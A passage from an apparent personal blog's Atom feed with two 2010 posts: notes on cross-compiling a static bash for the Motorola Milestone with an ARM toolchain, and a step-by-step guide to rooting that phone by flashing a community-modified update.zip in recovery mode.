&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Hello Android...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The result:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ arm7-unknown-linux-gnu-gcc --static hello.c -o hello
$ adb push hello /tmp/
$ adb shell
$ /tmp/hello
Hello Android...
$
&lt;/pre&gt;
&lt;p&gt;Yaay Succses! Now lets try to build the bash shell.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Get the bash source from gnu.org&lt;/li&gt;
&lt;li&gt;Untar it&lt;/li&gt;
&lt;li&gt;Use the following configure command:
&lt;tt class="docutils literal"&gt;./configure &lt;span class="pre"&gt;--host=arm7-unknown-linux-gnu&lt;/span&gt; &lt;span class="pre"&gt;--enable-static-link&lt;/span&gt; &lt;span class="pre"&gt;--without-bash-malloc&lt;/span&gt;&lt;/tt&gt;&lt;/li&gt;
&lt;li&gt;Run make&lt;/li&gt;
&lt;li&gt;Use adb push bash /sdcard/ to copy the binary to your phone&lt;/li&gt;
&lt;li&gt;Type su and move bash to some place with execute rights (like /data)&lt;/li&gt;
&lt;li&gt;Run /data/bash on the phone&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Result:
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;bash-4.1#&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;In case you do not want to compile your own bash executable I will provide the
one I created.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/milestone/bash"&gt;bash executable&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Comments are welcome, but since this blog uses static pages there is no comment
function. So when you have a comment or and addition, please write an email.
(The authors name on top of the page is a mailto link.)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 1:&lt;/strong&gt; Because the first executable was quite huge, I tried to build
another cross compiler toolchain that uses the uclibc. After trying different
versions of the toolchain components I ended up using the newest stable versions
available. (By the time of writing: binutils-2.20, gcc-4.3.4,
uclibc-0.9.30.1-r1). First results seem good.  The Hello Android program
compiled with glibc has about 500kbyte (linked static), but the same program
linked with uclibc has only 21kbyte (also linked static).&lt;/p&gt;
&lt;p&gt;Command used to build the toolchain:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;UCLIBC_CPU=&amp;quot;ARM_XSCALE&amp;quot;&lt;/span&gt; crossdev &lt;span class="pre"&gt;-t&lt;/span&gt; &lt;span class="pre"&gt;arm7-unknown-linux-uclibc&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;This should enable some enhancements in uclibc for the predecessor cpu
generation of the milestones cpu. I hope this works for the Milestone.&lt;/p&gt;
&lt;p&gt;Beforehand you need to apply &lt;a class="reference external" href="/files/milestone/configure.patch"&gt;this&lt;/a&gt; patch to the configure script.  Command to
configure bash:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;./configure &lt;span class="pre"&gt;--host=arm7-unknown-linux-uclibc&lt;/span&gt; &lt;span class="pre"&gt;--enable-static-link&lt;/span&gt; &lt;span class="pre"&gt;--without-bash-malloc&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;The result was larger than expected: 2.1 Mbyte. But still smaler.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/milestone/bash_uclibc"&gt;bash_uclibc executable&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;It looks like my toolchain does not work with Firmware version 2.0.1.  Thanks
pille for the information.&lt;/p&gt;
</content><category term="Android"></category><category term="android"></category><category term="crosscompiler"></category><category term="gentoo"></category><category term="arm"></category><category term="milestone"></category></entry><entry><title>HOWTO: Root the Motorola Milestone</title><link href="https://blog.manol.is/howto-root-the-motorola-milestone.html" rel="alternate"></link><published>2010-01-19T09:47:00+01:00</published><updated>2010-01-19T09:47:00+01:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-01-19:/howto-root-the-motorola-milestone.html</id><summary type="html">&lt;p&gt;Finally: root for the milestone! Today at 00:48 am SeraphimSerapis released a
modified update.zip witch roots the 2.0 firmware of the Motorola Milestone. In
the following I will document the process for rooting my device. This howto is
for the Milestone &lt;strong&gt;NOT the droid.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1. Getting …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;Finally: root for the milestone! Today at 00:48 am SeraphimSerapis released a
modified update.zip witch roots the 2.0 firmware of the Motorola Milestone. In
the following I will document the process for rooting my device. This howto is
for the Milestone &lt;strong&gt;NOT the droid.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1. Getting the update.zip&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Download the update.zip from one of the following locations and rename it, when
its not named update.zip yet.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://www.sera-apps.de/milestone_root.zip"&gt;http://www.sera-apps.de/milestone_root.zip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://rapidshare.de/files/49019165/milestone_root.zip"&gt;http://rapidshare.de/files/49019165/milestone_root.zip&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://blog.manol.is/files/milestone/milestone_root.zip"&gt;http://blog.manol.is/files/milestone/milestone_root.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Step 2. Copy the zip file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Use your usb cable to connect your phone to your computer and copy the
update.zip to the root of your sd card.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3. Turn off your phone&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hold the button on the top right of the device and shutdown the phone.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4. Get into recovery mode&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Press and hold the camera button and the power button until a sign with an
exclamation mark appears. (see picture)&lt;/p&gt;
&lt;p&gt;&lt;img alt="image0" src="/media/milestone/recoverymode.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Now press the volume up and the camera button until a menu with blue text
appears. The order that works best seem to be: Hold volume up and then press
the camera button.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 5. Flash the update&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the blue menu choose (using the d-pad) &amp;quot;apply sdcard:update.zip&amp;quot; (see
picture)&lt;/p&gt;
&lt;p&gt;&lt;img alt="image1" src="/media/milestone/choose-sdcard.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Press the golden button of the d-pad and wait. Yellow text should appear saying
something like:&lt;/p&gt;
&lt;p&gt;Rooting your device ...&lt;/p&gt;
&lt;p&gt;Install from sdcard complete.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image2" src="/media/milestone/flash-complete.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6. Reboot your phone&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Choose &amp;quot;reboot system now&amp;quot; from the menu and wait. After the reboot your device
should be rooted. You can test this by typing &amp;quot;su&amp;quot; in a terminal emulator.
Something like in the picture should pop up.&lt;/p&gt;
&lt;p&gt;&lt;img alt="image3" src="/media/milestone/rooted.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;It is possible that you get errors (in my case there where none) but when you
get errors the advice from the creator of the patched update is to retry the
process till it works.&lt;/p&gt;
&lt;p&gt;Root on the Milestone was made possible by:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Natron&lt;/li&gt;
&lt;li&gt;SeraphimSerapis&lt;/li&gt;
&lt;li&gt;nodch&lt;/li&gt;
&lt;li&gt;Andrea&lt;/li&gt;
&lt;li&gt;Zinx Verituse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The original howto i used is located here (in german): &lt;a class="reference external" href="http://www.android-hilfe.de/news-ankuendigungen/15014-android-hilfe-de-rootet-milestone.html#post150197"&gt;android-hilfe.de&lt;/a&gt;&lt;/p&gt;
</content><category term="Android"></category><category term="android"></category><category term="root"></category><category term="milestone"></category><category term="howto"></category></entry></feed>